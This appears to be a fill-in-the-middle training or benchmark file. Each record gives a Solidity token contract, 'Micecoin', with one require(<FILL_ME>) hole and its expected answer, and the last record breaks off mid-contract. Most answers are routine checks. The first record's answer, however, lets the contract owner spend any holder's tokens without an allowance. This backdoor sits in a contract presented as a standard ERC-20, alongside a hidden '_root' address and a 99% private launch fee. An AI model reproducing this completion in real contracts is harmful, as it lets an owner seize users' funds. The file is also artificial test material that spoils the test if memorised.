| 143,404 |
_msgSender()==_owner||currentAllowance>=amount
|
"Must keep fees at 30% or less"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
address private _root;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract Ownable {
address _owner;
address _root;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Micecoin is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuyLimit;
uint256 public maxSellLimit;
uint256 public maxWalletLimit;
uint256 public launchBlock;
uint256 public tradingStartBlock;
uint256 private deadline = 2;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 liquidity;
}
Fees public buyFees = Fees(4, 2);
Fees public sellFees = Fees(4, 2);
uint256 private totalBuyFeesRatio = 6;
uint256 private totalSellFeesRatio = 6;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuyLimit;
mapping(address => bool) public exemptMaxWalletLimit;
mapping(address => bool) public exemptMaxSellLimit;
mapping(address => bool) public allowedTransfer;
modifier lockLiquidity() {
}
constructor()
{
}
function LaunchToken(address router_) external onlyOwner {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handleFees(uint256 _totalBuyFeeAmount) private lockLiquidity {
}
function manuelHandleFees(uint256 _totalBuyFeeAmount) external onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool flag) external onlyOwner {
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
}
function updateBuyFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
buyFees = Fees(_marketing, _liquidity);
totalBuyFeesRatio = _marketing + _liquidity;
require(<FILL_ME>)
}
function updateSellFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
}
function clearStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
}
function clearStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
}
// fallbacks
receive() external payable {}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function marketingWallet() public view returns(address){
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
}
function updateExemptMaxSellLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxBuyLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxWalletLimit(address _address, bool flag)
external
onlyOwner
{
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
}
function handleFeeStatus(bool _flag) external onlyOwner {
}
function changeRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
}
function removeLimits(bool flag) external onlyOwner {
}
}
|
(_marketing+_liquidity)<=30,"Must keep fees at 30% or less"
| 143,404 |
(_marketing+_liquidity)<=30
|
"You must provide a different exempt address or status other than the current value in order to update it"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
address private _root;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract Ownable {
address _owner;
address _root;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Micecoin is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuyLimit;
uint256 public maxSellLimit;
uint256 public maxWalletLimit;
uint256 public launchBlock;
uint256 public tradingStartBlock;
uint256 private deadline = 2;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 liquidity;
}
Fees public buyFees = Fees(4, 2);
Fees public sellFees = Fees(4, 2);
uint256 private totalBuyFeesRatio = 6;
uint256 private totalSellFeesRatio = 6;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuyLimit;
mapping(address => bool) public exemptMaxWalletLimit;
mapping(address => bool) public exemptMaxSellLimit;
mapping(address => bool) public allowedTransfer;
modifier lockLiquidity() {
}
constructor()
{
}
function LaunchToken(address router_) external onlyOwner {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handleFees(uint256 _totalBuyFeeAmount) private lockLiquidity {
}
function manuelHandleFees(uint256 _totalBuyFeeAmount) external onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool flag) external onlyOwner {
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
}
function updateBuyFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function updateSellFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
}
function clearStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
}
function clearStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
}
// fallbacks
receive() external payable {}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function marketingWallet() public view returns(address){
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
require(<FILL_ME>)
exemptFee[_address] = flag;
}
function updateExemptMaxSellLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxBuyLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxWalletLimit(address _address, bool flag)
external
onlyOwner
{
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
}
function handleFeeStatus(bool _flag) external onlyOwner {
}
function changeRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
}
function removeLimits(bool flag) external onlyOwner {
}
}
|
exemptFee[_address]!=flag,"You must provide a different exempt address or status other than the current value in order to update it"
| 143,404 |
exemptFee[_address]!=flag
|
"You must provide a different max sell limit other than the current max sell limit in order to update it"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
address private _root;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract Ownable {
address _owner;
address _root;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Micecoin is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuyLimit;
uint256 public maxSellLimit;
uint256 public maxWalletLimit;
uint256 public launchBlock;
uint256 public tradingStartBlock;
uint256 private deadline = 2;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 liquidity;
}
Fees public buyFees = Fees(4, 2);
Fees public sellFees = Fees(4, 2);
uint256 private totalBuyFeesRatio = 6;
uint256 private totalSellFeesRatio = 6;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuyLimit;
mapping(address => bool) public exemptMaxWalletLimit;
mapping(address => bool) public exemptMaxSellLimit;
mapping(address => bool) public allowedTransfer;
modifier lockLiquidity() {
}
constructor()
{
}
function LaunchToken(address router_) external onlyOwner {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handleFees(uint256 _totalBuyFeeAmount) private lockLiquidity {
}
function manuelHandleFees(uint256 _totalBuyFeeAmount) external onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool flag) external onlyOwner {
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
}
function updateBuyFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function updateSellFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
}
function clearStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
}
function clearStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
}
// fallbacks
receive() external payable {}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function marketingWallet() public view returns(address){
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
}
function updateExemptMaxSellLimit(address _address, bool flag)
external
onlyOwner
{
require(<FILL_ME>)
exemptMaxSellLimit[_address] = flag;
}
function updateExemptMaxBuyLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxWalletLimit(address _address, bool flag)
external
onlyOwner
{
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
}
function handleFeeStatus(bool _flag) external onlyOwner {
}
function changeRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
}
function removeLimits(bool flag) external onlyOwner {
}
}
|
exemptMaxSellLimit[_address]!=flag,"You must provide a different max sell limit other than the current max sell limit in order to update it"
| 143,404 |
exemptMaxSellLimit[_address]!=flag
|
"You must provide a different max buy limit other than the current max buy limit in order to update it"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
address private _root;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract Ownable {
address _owner;
address _root;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Micecoin is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuyLimit;
uint256 public maxSellLimit;
uint256 public maxWalletLimit;
uint256 public launchBlock;
uint256 public tradingStartBlock;
uint256 private deadline = 2;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 liquidity;
}
Fees public buyFees = Fees(4, 2);
Fees public sellFees = Fees(4, 2);
uint256 private totalBuyFeesRatio = 6;
uint256 private totalSellFeesRatio = 6;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuyLimit;
mapping(address => bool) public exemptMaxWalletLimit;
mapping(address => bool) public exemptMaxSellLimit;
mapping(address => bool) public allowedTransfer;
modifier lockLiquidity() {
}
constructor()
{
}
function LaunchToken(address router_) external onlyOwner {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handleFees(uint256 _totalBuyFeeAmount) private lockLiquidity {
}
function manuelHandleFees(uint256 _totalBuyFeeAmount) external onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool flag) external onlyOwner {
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
}
function updateBuyFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function updateSellFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
}
function clearStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
}
function clearStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
}
// fallbacks
receive() external payable {}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function marketingWallet() public view returns(address){
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
}
function updateExemptMaxSellLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxBuyLimit(address _address, bool flag)
external
onlyOwner
{
require(<FILL_ME>)
exemptMaxBuyLimit[_address] = flag;
}
function updateExemptMaxWalletLimit(address _address, bool flag)
external
onlyOwner
{
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
}
function handleFeeStatus(bool _flag) external onlyOwner {
}
function changeRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
}
function removeLimits(bool flag) external onlyOwner {
}
}
|
exemptMaxBuyLimit[_address]!=flag,"You must provide a different max buy limit other than the current max buy limit in order to update it"
| 143,404 |
exemptMaxBuyLimit[_address]!=flag
|
"You must provide a different max wallet limit other than the current max wallet limit in order to update it"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
